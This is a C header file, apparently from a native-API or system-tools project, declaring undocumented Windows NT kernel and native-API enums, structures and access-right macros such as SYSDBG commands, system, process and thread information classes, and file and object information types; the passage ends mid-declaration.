DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_HIBERNATION_FILE, 0xb7624d64, 0xb9a3, 0x4cf8, 0x80, 0x11, 0x5b, 0x86, 0xc9, 0x40, 0xe7, 0xb7 ); DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_CRASHDUMP_FILE, 0x9d453eb7, 0xd2a6, 0x4dbd, 0xa2, 0xe3, 0xfb, 0xd0, 0xed, 0x91, 0x09, 0xa9 ); #endif /* _WIN32_WINNT >= 0x0601 */ #endif // _FILESYSTEMFSCTL_ // 21.12.2011 - end // 09.06.2011 - end typedef enum _SYSDBG_COMMAND { SysDbgQueryModuleInformation, SysDbgQueryTraceInformation, SysDbgSetTracepoint, SysDbgSetSpecialCall, SysDbgClearSpecialCalls, SysDbgQuerySpecialCalls, SysDbgBreakPoint, SysDbgQueryVersion, SysDbgReadVirtual, SysDbgWriteVirtual, SysDbgReadPhysical, SysDbgWritePhysical, SysDbgReadControlSpace, SysDbgWriteControlSpace, SysDbgReadIoSpace, SysDbgWriteIoSpace, SysDbgReadMsr, SysDbgWriteMsr, SysDbgReadBusData, SysDbgWriteBusData, SysDbgCheckLowMemory, SysDbgEnableKernelDebugger, SysDbgDisableKernelDebugger, SysDbgGetAutoKdEnable, SysDbgSetAutoKdEnable, SysDbgGetPrintBufferSize, SysDbgSetPrintBufferSize, SysDbgGetKdUmExceptionEnable, SysDbgSetKdUmExceptionEnable, SysDbgGetTriageDump, SysDbgGetKdBlockEnable, SysDbgSetKdBlockEnable, SysDbgRegisterForUmBreakInfo, SysDbgGetUmBreakPid, SysDbgClearUmBreakPid, SysDbgGetUmAttachPid, SysDbgClearUmAttachPid } SYSDBG_COMMAND, *PSYSDBG_COMMAND; typedef struct _SYSDBG_VIRTUAL { PVOID Address; PVOID Buffer; ULONG Request; } SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL; typedef struct _SYSDBG_PHYSICAL { PHYSICAL_ADDRESS Address; PVOID Buffer; ULONG Request; } SYSDBG_PHYSICAL, *PSYSDBG_PHYSICAL; typedef struct _SYSDBG_CONTROL_SPACE { ULONG64 Address; PVOID Buffer; ULONG Request; ULONG Processor; } SYSDBG_CONTROL_SPACE, *PSYSDBG_CONTROL_SPACE; typedef enum _INTERFACE_TYPE { UnknownInterfaceType = 1 } INTERFACE_TYPE ; typedef struct _SYSDBG_IO_SPACE { ULONG64 Address; PVOID Buffer; ULONG Request; enum _INTERFACE_TYPE InterfaceType; ULONG BusNumber; ULONG AddressSpace; } SYSDBG_IO_SPACE, *PSYSDBG_IO_SPACE; typedef struct _SYSDBG_MSR { ULONG Msr; ULONG64 Data; } SYSDBG_MSR, *PSYSDBG_MSR; typedef enum _BUS_DATA_TYPE { ConfigurationSpaceUndefined = -1, Cmos, EisaConfiguration, Pos, CbusConfiguration, PCIConfiguration, VMEConfiguration, NuBusConfiguration, PCMCIAConfiguration, MPIConfiguration, MPSAConfiguration, PNPISAConfiguration, SgiInternalConfiguration, MaximumBusDataType } BUS_DATA_TYPE, *PBUS_DATA_TYPE; typedef struct _SYSDBG_BUS_DATA { ULONG Address; PVOID Buffer; ULONG Request; enum _BUS_DATA_TYPE BusDataType; ULONG BusNumber; ULONG SlotNumber; } SYSDBG_BUS_DATA, *PSYSDBG_BUS_DATA; typedef struct _SYSDBG_TRIAGE_DUMP { ULONG Flags; ULONG BugCheckCode; ULONG_PTR BugCheckParam1; ULONG_PTR BugCheckParam2; ULONG_PTR BugCheckParam3; ULONG_PTR BugCheckParam4; ULONG ProcessHandles; ULONG ThreadHandles; PHANDLE Handles; } SYSDBG_TRIAGE_DUMP, *PSYSDBG_TRIAGE_DUMP; typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation, SystemProcessorInformation, SystemPerformanceInformation, SystemTimeOfDayInformation, SystemPathInformation, SystemProcessInformation, SystemCallCountInformation, SystemDeviceInformation, SystemProcessorPerformanceInformation, SystemFlagsInformation, SystemCallTimeInformation, SystemModuleInformation, SystemLocksInformation, SystemStackTraceInformation, SystemPagedPoolInformation, SystemNonPagedPoolInformation, SystemHandleInformation, SystemObjectInformation, SystemPageFileInformation, SystemVdmInstemulInformation, SystemVdmBopInformation, SystemFileCacheInformation, SystemPoolTagInformation, SystemInterruptInformation, SystemDpcBehaviorInformation, SystemFullMemoryInformation, SystemLoadGdiDriverInformation, SystemUnloadGdiDriverInformation, SystemTimeAdjustmentInformation, SystemSummaryMemoryInformation, SystemMirrorMemoryInformation, SystemPerformanceTraceInformation, SystemObsolete0, SystemExceptionInformation, SystemCrashDumpStateInformation, SystemKernelDebuggerInformation, SystemContextSwitchInformation, SystemRegistryQuotaInformation, SystemExtendServiceTableInformation, SystemPrioritySeperation, SystemVerifierAddDriverInformation, SystemVerifierRemoveDriverInformation, SystemProcessorIdleInformation, SystemLegacyDriverInformation, SystemCurrentTimeZoneInformation, SystemLookasideInformation, SystemTimeSlipNotification, SystemSessionCreate, SystemSessionDetach, SystemSessionInformation, SystemRangeStartInformation, SystemVerifierInformation, SystemVerifierThunkExtend, SystemSessionProcessInformation, SystemLoadGdiDriverInSystemSpace, SystemNumaProcessorMap, SystemPrefetcherInformation, SystemExtendedProcessInformation, SystemRecommendedSharedDataAlignment, SystemComPlusPackage, SystemNumaAvailableMemory, SystemProcessorPowerInformation, SystemEmulationBasicInformation, // WOW64 SystemEmulationProcessorInformation, // WOW64 SystemExtendedHandleInformation, SystemLostDelayedWriteInformation, SystemBigPoolInformation, SystemSessionPoolTagInformation, SystemSessionMappedViewInformation, SystemHotpatchInformation, SystemObjectSecurityMode, SystemWatchdogTimerHandler, SystemWatchdogTimerInformation, SystemLogicalProcessorInformation, SystemWow64SharedInformation, SystemRegisterFirmwareTableInformationHandler, SystemFirmwareTableInformation, SystemModuleInformationEx, SystemVerifierTriageInformation, SystemSuperfetchInformation, SystemMemoryListInformation, SystemFileCacheInformationEx, SystemThreadPriorityClientIdInformation, SystemProcessorIdleCycleTimeInformation, SystemVerifierCancellationInformation, SystemProcessorPowerInformationEx, SystemRefTraceInformation, SystemSpecialPoolInformation, SystemProcessIdInformation, SystemErrorPortInformation, SystemBootEnvironmentInformation, SystemHypervisorInformation, SystemVerifierInformationEx, SystemTimeZoneInformation, SystemImageFileExecutionOptionsInformation, SystemCoverageInformation, SystemPrefetchPatchInformation, SystemVerifierFaultsInformation, SystemSystemPartitionInformation, SystemSystemDiskInformation, SystemProcessorPerformanceDistribution, SystemNumaProximityNodeInformation, SystemDynamicTimeZoneInformation, SystemCodeIntegrityInformation, SystemProcessorMicrocodeUpdateInformation, SystemProcessorBrandString, SystemVirtualAddressInformation, MaxSystemInfoClass } SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; typedef enum _EVENT_TRACE_INFORMATION_CLASS { EventTraceKernelVersionInformation, EventTraceGroupMaskInformation, EventTracePerformanceInformation, EventTraceTimeProfileInformation, EventTraceSessionSecurityInformation, MaxEventTraceInfoClass } EVENT_TRACE_INFORMATION_CLASS, *PEVENT_TRACE_INFORMATION_CLASS; #define LOCK_QUEUE_WAIT 1 #define LOCK_QUEUE_WAIT_BIT 0 #define LOCK_QUEUE_OWNER 2 #define LOCK_QUEUE_OWNER_BIT 1 #define LOCK_QUEUE_TIMER_LOCK_SHIFT 4 #define LOCK_QUEUE_TIMER_TABLE_LOCKS (1 << (8 - LOCK_QUEUE_TIMER_LOCK_SHIFT)) typedef enum _KSPIN_LOCK_QUEUE_NUMBER { LockQueueDispatcherLock, LockQueueUnusedSpare1, LockQueuePfnLock, LockQueueSystemSpaceLock, LockQueueVacbLock, LockQueueMasterLock, LockQueueNonPagedPoolLock, LockQueueIoCancelLock, LockQueueWorkQueueLock, LockQueueIoVpbLock, LockQueueIoDatabaseLock, LockQueueIoCompletionLock, LockQueueNtfsStructLock, LockQueueAfdWorkQueueLock, LockQueueBcbLock, LockQueueMmNonPagedPoolLock, LockQueueUnusedSpare16, LockQueueTimerTableLock, LockQueueMaximumLock = LockQueueTimerTableLock + LOCK_QUEUE_TIMER_TABLE_LOCKS } KSPIN_LOCK_QUEUE_NUMBER, *PKSPIN_LOCK_QUEUE_NUMBER; typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum } KPROFILE_SOURCE; typedef enum _PROCESSINFOCLASS { ProcessBasicInformation, ProcessQuotaLimits, ProcessIoCounters, ProcessVmCounters, ProcessTimes, ProcessBasePriority, ProcessRaisePriority, ProcessDebugPort, ProcessExceptionPort, ProcessAccessToken, ProcessLdtInformation, ProcessLdtSize, ProcessDefaultHardErrorMode, ProcessIoPortHandlers, ProcessPooledUsageAndLimits, ProcessWorkingSetWatch, ProcessUserModeIOPL, ProcessEnableAlignmentFaultFixup, ProcessPriorityClass, ProcessWx86Information, ProcessHandleCount, ProcessAffinityMask, ProcessPriorityBoost, ProcessDeviceMap, ProcessSessionInformation, ProcessForegroundInformation, ProcessWow64Information, ProcessImageFileName, ProcessLUIDDeviceMapsEnabled, ProcessBreakOnTermination, ProcessDebugObjectHandle, ProcessDebugFlags, ProcessHandleTracing, ProcessIoPriority, ProcessExecuteFlags, ProcessTlsInformation, ProcessCookie, ProcessImageInformation, ProcessCycleTime, ProcessPagePriority, ProcessInstrumentationCallback, ProcessThreadStackAllocation, ProcessWorkingSetWatchEx, ProcessImageFileNameWin32, ProcessImageFileMapping, ProcessAffinityUpdateMode, ProcessMemoryAllocationMode, ProcessGroupInformation, ProcessTokenVirtualizationEnabled, ProcessConsoleHostProcess, ProcessWindowInformation, MaxProcessInfoClass } PROCESSINFOCLASS; typedef enum _THREADINFOCLASS { ThreadBasicInformation, ThreadTimes, ThreadPriority, ThreadBasePriority, ThreadAffinityMask, ThreadImpersonationToken, ThreadDescriptorTableEntry, ThreadEnableAlignmentFaultFixup, ThreadEventPair_Reusable, ThreadQuerySetWin32StartAddress, ThreadZeroTlsCell, ThreadPerformanceCount, ThreadAmILastThread, ThreadIdealProcessor, ThreadPriorityBoost, ThreadSetTlsArrayAddress, // Obsolete ThreadIsIoPending, ThreadHideFromDebugger, ThreadBreakOnTermination, ThreadSwitchLegacyState, ThreadIsTerminated, ThreadLastSystemCall, ThreadIoPriority, ThreadCycleTime, ThreadPagePriority, ThreadActualBasePriority, ThreadTebInformation, ThreadCSwitchMon, // Obsolete ThreadCSwitchPmu, ThreadWow64Context, ThreadGroupInformation, ThreadUmsInformation, // UMS ThreadCounterProfiling, ThreadIdealProcessorEx, MaxThreadInfoClass } THREADINFOCLASS; typedef enum _PROCESS_TLS_INFORMATION_TYPE { ProcessTlsReplaceIndex, ProcessTlsReplaceVector, MaxProcessTlsOperation } PROCESS_TLS_INFORMATION_TYPE; #define PROCESS_TERMINATE (0x0001) #define PROCESS_CREATE_THREAD (0x0002) #define PROCESS_SET_SESSIONID (0x0004) #define PROCESS_VM_OPERATION (0x0008) #define PROCESS_VM_READ (0x0010) #define PROCESS_VM_WRITE (0x0020) #define PROCESS_DUP_HANDLE (0x0040) #define PROCESS_CREATE_PROCESS (0x0080) #define PROCESS_SET_QUOTA (0x0100) #define PROCESS_SET_INFORMATION (0x0200) #define PROCESS_QUERY_INFORMATION (0x0400) #define PROCESS_SET_PORT (0x0800) #define PROCESS_SUSPEND_RESUME (0x0800) #define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 ) #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) #define ZwCurrentProcess() NtCurrentProcess() #define ZwCurrentThread() NtCurrentThread() // 28.05.2011 - rndbit #define NtLastError() ( NtCurrentTeb()->LastErrorValue ) #define NtLastStatus() ( NtCurrentTeb()->LastStatusValue ) #if defined(_M_X86) #define NtCurrentPID() __readfsdword(0x20) #else #define NtCurrentPID() __readgsqword(0x20) #endif #define THREAD_TERMINATE (0x0001) #define THREAD_SUSPEND_RESUME (0x0002) #define THREAD_ALERT (0x0004) #define THREAD_GET_CONTEXT (0x0008) #define THREAD_SET_CONTEXT (0x0010) #define THREAD_SET_INFORMATION (0x0020) #define THREAD_QUERY_INFORMATION (0x0040) #define THREAD_SET_THREAD_TOKEN (0x0080) #define THREAD_IMPERSONATE (0x0100) #define THREAD_DIRECT_IMPERSONATION (0x0200) #define JOB_OBJECT_ASSIGN_PROCESS (0x0001) #define JOB_OBJECT_SET_ATTRIBUTES (0x0002) #define JOB_OBJECT_QUERY (0x0004) #define JOB_OBJECT_TERMINATE (0x0008) #define JOB_OBJECT_SET_SECURITY_ATTRIBUTES (0x0010) #ifndef _WINNT_ #define JOB_OBJECT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1F ) #endif #define PEB_STDIO_HANDLE_NATIVE 0 #define PEB_STDIO_HANDLE_SUBSYS 1 #define PEB_STDIO_HANDLE_PM 2 #define PEB_STDIO_HANDLE_RESERVED 3 #define GDI_HANDLE_BUFFER_SIZE32 34 #define GDI_HANDLE_BUFFER_SIZE64 60 #if !defined(_M_X64) #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 #else #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 #endif typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; #define FOREGROUND_BASE_PRIORITY 9 #define NORMAL_BASE_PRIORITY 8 #ifndef FILE_READ_ACCESS #define FILE_READ_ACCESS ( 0x0001 ) #endif typedef enum _FILE_INFORMATION_CLASS { FileDirectoryInformation = 1, FileFullDirectoryInformation, FileBothDirectoryInformation, FileBasicInformation, FileStandardInformation, FileInternalInformation, FileEaInformation, FileAccessInformation, FileNameInformation, FileRenameInformation, FileLinkInformation, FileNamesInformation, FileDispositionInformation, FilePositionInformation, FileFullEaInformation, FileModeInformation, FileAlignmentInformation, FileAllInformation, FileAllocationInformation, FileEndOfFileInformation, FileAlternateNameInformation, FileStreamInformation, FilePipeInformation, FilePipeLocalInformation, FilePipeRemoteInformation, FileMailslotQueryInformation, FileMailslotSetInformation, FileCompressionInformation, FileObjectIdInformation, FileCompletionInformation, FileMoveClusterInformation, FileQuotaInformation, FileReparsePointInformation, FileNetworkOpenInformation, FileAttributeTagInformation, FileTrackingInformation, FileIdBothDirectoryInformation, FileIdFullDirectoryInformation, FileValidDataLengthInformation, FileShortNameInformation, FileIoCompletionNotificationInformation, FileIoStatusBlockRangeInformation, FileIoPriorityHintInformation, FileSfioReserveInformation, FileSfioVolumeInformation, FileHardLinkInformation, FileProcessIdsUsingFileInformation, FileNormalizedNameInformation, FileNetworkPhysicalNameInformation, FileIdGlobalTxDirectoryInformation, FileMaximumInformation } FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; typedef enum _FSINFOCLASS { FileFsVolumeInformation = 1, FileFsLabelInformation, FileFsSizeInformation, FileFsDeviceInformation, FileFsAttributeInformation, FileFsControlInformation, FileFsFullSizeInformation, FileFsObjectIdInformation, FileFsDriverPathInformation, FileFsVolumeFlagsInformation, FileFsMaximumInformation } FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; typedef enum _POOL_TYPE { NonPagedPool, PagedPool, NonPagedPoolMustSucceed, DontUseThisType, NonPagedPoolCacheAligned, PagedPoolCacheAligned, NonPagedPoolCacheAlignedMustS, MaxPoolType, NonPagedPoolSession, PagedPoolSession, NonPagedPoolMustSucceedSession, DontUseThisTypeSession, NonPagedPoolCacheAlignedSession, PagedPoolCacheAlignedSession, NonPagedPoolCacheAlignedMustSSession } POOL_TYPE, *PPOOL_TYPE; typedef enum _MEMORY_INFORMATION_CLASS { MemoryBasicInformation, MemoryWorkingSetInformation, MemoryMappedFilenameInformation, MemoryRegionInformation, MemoryWorkingSetExInformation } MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS; typedef enum _REG_NOTIFY_CLASS { RegNtDeleteKey, RegNtPreDeleteKey, RegNtSetValueKey, RegNtPreSetValueKey, RegNtDeleteValueKey, RegNtPreDeleteValueKey, RegNtSetInformationKey, RegNtPreSetInformationKey, RegNtRenameKey, RegNtPreRenameKey, RegNtEnumerateKey, RegNtPreEnumerateKey, RegNtEnumerateValueKey, RegNtPreEnumerateValueKey, RegNtQueryKey, RegNtPreQueryKey, RegNtQueryValueKey, RegNtPreQueryValueKey, RegNtQueryMultipleValueKey, RegNtPreQueryMultipleValueKey, RegNtPreCreateKey, RegNtPostCreateKey, RegNtPreOpenKey, RegNtPostOpenKey, RegNtKeyHandleClose, RegNtPreKeyHandleClose, RegNtPostDeleteKey, RegNtPostSetValueKey, RegNtPostDeleteValueKey, RegNtPostSetInformationKey, RegNtPostRenameKey, RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, RegNtPostQueryKey, RegNtPostQueryValueKey, RegNtPostQueryMultipleValueKey, RegNtPostKeyHandleClose, RegNtPreCreateKeyEx, RegNtPostCreateKeyEx, RegNtPreOpenKeyEx, RegNtPostOpenKeyEx, RegNtPreFlushKey, RegNtPostFlushKey, RegNtPreLoadKey, RegNtPostLoadKey, RegNtPreUnLoadKey, RegNtPostUnLoadKey, RegNtPreQueryKeySecurity, RegNtPostQueryKeySecurity, RegNtPreSetKeySecurity, RegNtPostSetKeySecurity, RegNtCallbackObjectContextCleanup, MaxRegNtNotifyClass } REG_NOTIFY_CLASS, *PREG_NOTIFY_CLASS; typedef enum _HAL_QUERY_INFORMATION_CLASS { HalInstalledBusInformation, HalProfileSourceInformation, HalInformationClassUnused1, HalPowerInformation, HalProcessorSpeedInformation, HalCallbackInformation, HalMapRegisterInformation, HalMcaLogInformation, HalFrameBufferCachingInformation, HalDisplayBiosInformation, HalProcessorFeatureInformation, HalNumaTopologyInterface, HalErrorInformation, HalCmcLogInformation, HalCpeLogInformation, HalQueryMcaInterface, HalQueryAMLIIllegalIOPortAddresses, HalQueryMaxHotPlugMemoryAddress, HalPartitionIpiInterface, HalPlatformInformation, HalQueryProfileSourceList, HalInitLogInformation, HalFrequencyInformation, HalProcessorBrandString } HAL_QUERY_INFORMATION_CLASS, *PHAL_QUERY_INFORMATION_CLASS; #if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_) typedef enum POWER_INFORMATION_LEVEL { SystemPowerPolicyAc = 0x0, SystemPowerPolicyDc = 0x1, VerifySystemPolicyAc = 0x2, VerifySystemPolicyDc = 0x3, SystemPowerCapabilities = 0x4, SystemBatteryState = 0x5, SystemPowerStateHandler = 0x6, ProcessorStateHandler = 0x7, SystemPowerPolicyCurrent = 0x8, AdministratorPowerPolicy = 0x9, SystemReserveHiberFile = 0xa, ProcessorInformation = 0xb, SystemPowerInformation = 0xc, ProcessorStateHandler2 = 0xd, LastWakeTime = 0xe, LastSleepTime = 0xf, SystemExecutionState = 0x10, SystemPowerStateNotifyHandler = 0x11, ProcessorPowerPolicyAc = 0x12, ProcessorPowerPolicyDc = 0x13, VerifyProcessorPowerPolicyAc = 0x14, VerifyProcessorPowerPolicyDc = 0x15, ProcessorPowerPolicyCurrent = 0x16, SystemPowerStateLogging = 0x17, SystemPowerLoggingEntry = 0x18, SetPowerSettingValue = 0x19, NotifyUserPowerSetting = 0x1a, GetPowerTransitionVetoes = 0x1b, SetPowerTransitionVeto = 0x1c, SystemVideoState = 0x1d, TraceApplicationPowerMessage = 0x1e, TraceApplicationPowerMessageEnd = 0x1f, ProcessorPerfStates = 0x20, ProcessorIdleStates = 0x21, ProcessorThrottleStates = 0x22, SystemWakeSource = 0x23, SystemHiberFileInformation = 0x24, TraceServicePowerMessage = 0x25, ProcessorLoad = 0x26, PowerShutdownNotification = 0x27, MonitorCapabilities = 0x28 }; #endif typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef VOID(NTAPI *PIO_APC_ROUTINE)( IN PVOID ApcContext, IN PIO_STATUS_BLOCK IoStatusBlock, IN ULONG Reserved ); typedef struct _X86_FLOATING_SAVE_AREA { ULONG ControlWord; ULONG StatusWord; ULONG TagWord; ULONG ErrorOffset; ULONG ErrorSelector; ULONG DataOffset; ULONG DataSelector; UCHAR RegisterArea[ 80 ]; ULONG Cr0NpxState; } X86_FLOATING_SAVE_AREA, *PX86_FLOATING_SAVE_AREA; typedef struct _X86_CONTEXT { ULONG ContextFlags; ULONG Dr0; ULONG Dr1; ULONG Dr2; ULONG Dr3; ULONG Dr6; ULONG Dr7; X86_FLOATING_SAVE_AREA FloatSave; ULONG SegGs; ULONG SegFs; ULONG SegEs; ULONG SegDs; ULONG Edi; ULONG Esi; ULONG Ebx; ULONG Edx; ULONG Ecx; ULONG Eax; ULONG Ebp; ULONG Eip; ULONG SegCs; ULONG EFlags; ULONG Esp; ULONG SegSs; } X86_CONTEXT, *PX86_CONTEXT; #define FILE_SUPERSEDE 0x00000000 #define FILE_OPEN 0x00000001 #define FILE_CREATE 0x00000002 #define FILE_OPEN_IF 0x00000003 #define FILE_OVERWRITE 0x00000004 #define FILE_OVERWRITE_IF 0x00000005 #define FILE_MAXIMUM_DISPOSITION 0x00000005 #define FILE_DIRECTORY_FILE 0x00000001 #define FILE_WRITE_THROUGH 0x00000002 #define FILE_SEQUENTIAL_ONLY 0x00000004 #define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 #define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 #define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 #define FILE_NON_DIRECTORY_FILE 0x00000040 #define FILE_CREATE_TREE_CONNECTION 0x00000080 #define FILE_COMPLETE_IF_OPLOCKED 0x00000100 #define FILE_NO_EA_KNOWLEDGE 0x00000200 #define FILE_OPEN_FOR_RECOVERY 0x00000400 #define FILE_RANDOM_ACCESS 0x00000800 #define FILE_DELETE_ON_CLOSE 0x00001000 #define FILE_OPEN_BY_FILE_ID 0x00002000 #define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 #define FILE_NO_COMPRESSION 0x00008000 #define FILE_RESERVE_OPFILTER 0x00100000 #define FILE_OPEN_REPARSE_POINT 0x00200000 #define FILE_OPEN_NO_RECALL 0x00400000 #define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 #define FILE_COPY_STRUCTURED_STORAGE 0x00000041 #define FILE_STRUCTURED_STORAGE 0x00000441 #define FILE_VALID_OPTION_FLAGS 0x00ffffff #define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 #define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 #define FILE_VALID_SET_FLAGS 0x00000036 #define WIN32_CLIENT_INFO_LENGTH 62 #define PIO_APC_ROUTINE_DEFINED typedef struct _PORT_VIEW { ULONG Length; LPC_HANDLE SectionHandle; ULONG SectionOffset; LPC_SIZE_T ViewSize; LPC_PVOID ViewBase; LPC_PVOID ViewRemoteBase; } PORT_VIEW, *PPORT_VIEW; typedef struct _REMOTE_PORT_VIEW { ULONG Length; LPC_SIZE_T ViewSize; LPC_PVOID ViewBase; } REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; #define IO_COMPLETION_QUERY_STATE 0x0001 #define IO_COMPLETION_MODIFY_STATE 0x0002 #define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) typedef enum _IO_COMPLETION_INFORMATION_CLASS { IoCompletionBasicInformation } IO_COMPLETION_INFORMATION_CLASS; typedef enum _PORT_INFORMATION_CLASS { PortBasicInformation } PORT_INFORMATION_CLASS; typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT; //added 21/03/2011 typedef struct _MEMORY_WORKING_SET_BLOCK { ULONG_PTR Protection : 5; ULONG_PTR ShareCount : 3; ULONG_PTR Shared : 1; ULONG_PTR Node : 3; #if defined(_M_X64) ULONG_PTR VirtualPage : 52; #else ULONG VirtualPage : 20; #endif } MEMORY_WORKING_SET_BLOCK, *PMEMORY_WORKING_SET_BLOCK; typedef struct _MEMORY_WORKING_SET_INFORMATION { ULONG_PTR NumberOfEntries; MEMORY_WORKING_SET_BLOCK WorkingSetInfo[1]; } MEMORY_WORKING_SET_INFORMATION, *PMEMORY_WORKING_SET_INFORMATION; typedef struct _MEMORY_WORKING_SET_EX_BLOCK { ULONG_PTR Valid : 1; ULONG_PTR ShareCount : 3; ULONG_PTR Win32Protection : 11; ULONG_PTR Shared : 1; ULONG_PTR Node : 6; ULONG_PTR Locked : 1; ULONG_PTR LargePage : 1; ULONG_PTR Priority : 3; ULONG_PTR Reserved : 5; #if defined(_M_X64) ULONG_PTR ReservedUlong : 32; #endif } MEMORY_WORKING_SET_EX_BLOCK, *PMEMORY_WORKING_SET_EX_BLOCK; typedef struct _MEMORY_REGION_INFORMATION { PVOID AllocationBase; ULONG AllocationProtect; ULONG RegionType; SIZE_T RegionSize; } MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION; typedef struct _MEMORY_WORKING_SET_EX_INFORMATION { PVOID VirtualAddress; union { MEMORY_WORKING_SET_EX_BLOCK VirtualAttributes; ULONG Long; }; } MEMORY_WORKING_SET_EX_INFORMATION, *PMEMORY_WORKING_SET_EX_INFORMATION; typedef VOID (*PTIMER_APC_ROUTINE) ( IN PVOID TimerContext, IN ULONG TimerLowValue, IN LONG TimerHighValue ); typedef enum _SHUTDOWN_ACTION { ShutdownNoReboot, ShutdownReboot, ShutdownPowerOff } SHUTDOWN_ACTION; typedef enum _ATOM_INFORMATION_CLASS { AtomBasicInformation, AtomTableInformation } ATOM_INFORMATION_CLASS; typedef struct _ATOM_BASIC_INFORMATION { USHORT UsageCount; USHORT Flags; USHORT NameLength; WCHAR Name[1]; } ATOM_BASIC_INFORMATION, *PATOM_BASIC_INFORMATION; typedef struct _ATOM_TABLE_INFORMATION { ULONG NumberOfAtoms; RTL_ATOM Atoms[1]; } ATOM_TABLE_INFORMATION, *PATOM_TABLE_INFORMATION; #define SEMAPHORE_QUERY_STATE 0x0001 #define SEMAPHORE_MODIFY_STATE 0x0002 #define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) typedef enum _SEMAPHORE_INFORMATION_CLASS { SemaphoreBasicInformation } SEMAPHORE_INFORMATION_CLASS; typedef struct _SEMAPHORE_BASIC_INFORMATION { LONG CurrentCount; LONG MaximumCount; } SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION; #define MUTANT_QUERY_STATE 0x0001 #define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ MUTANT_QUERY_STATE) typedef enum _MUTANT_INFORMATION_CLASS { MutantBasicInformation } MUTANT_INFORMATION_CLASS; typedef struct _MUTANT_BASIC_INFORMATION { LONG CurrentCount; BOOLEAN OwnedByCaller; BOOLEAN AbandonedState; } MUTANT_BASIC_INFORMATION, *PMUTANT_BASIC_INFORMATION; #define TIMER_QUERY_STATE 0x0001 #define TIMER_MODIFY_STATE 0x0002 #define TIMER_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ TIMER_QUERY_STATE|TIMER_MODIFY_STATE) typedef enum _TIMER_INFORMATION_CLASS { TimerBasicInformation } TIMER_INFORMATION_CLASS; typedef struct _TIMER_BASIC_INFORMATION { LARGE_INTEGER RemainingTime; BOOLEAN TimerState; } TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION; typedef enum _SECTION_INFORMATION_CLASS { SectionBasicInformation, SectionImageInformation, MaxSectionInfoClass } SECTION_INFORMATION_CLASS; #define OBJ_NAME_PATH_SEPARATOR ((WCHAR)L'\\') #define OBJ_MAX_REPARSE_ATTEMPTS 32 #define OBJECT_TYPE_CREATE (0x0001) #define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) #define DIRECTORY_QUERY (0x0001) #define DIRECTORY_TRAVERSE (0x0002) #define DIRECTORY_CREATE_OBJECT (0x0004) #define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) #define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) #define SYMBOLIC_LINK_QUERY (0x0001) #define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) typedef enum _OBJECT_INFORMATION_CLASS { ObjectBasicInformation, ObjectNameInformation, ObjectTypeInformation, ObjectTypesInformation, ObjectHandleFlagInformation, ObjectSessionInformation, MaxObjectInfoClass } OBJECT_INFORMATION_CLASS; typedef struct _OBJECT_BASIC_INFORMATION { ULONG Attributes; ACCESS_MASK GrantedAccess; ULONG HandleCount; ULONG PointerCount; ULONG PagedPoolCharge; ULONG NonPagedPoolCharge; ULONG Reserved[ 3 ]; ULONG NameInfoSize; ULONG TypeInfoSize; ULONG SecurityDescriptorSize; LARGE_INTEGER CreationTime; } OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; typedef struct _OBJECT_NAME_INFORMATION { UNICODE_STRING Name; } OBJECT_NAME_INFORMATION, 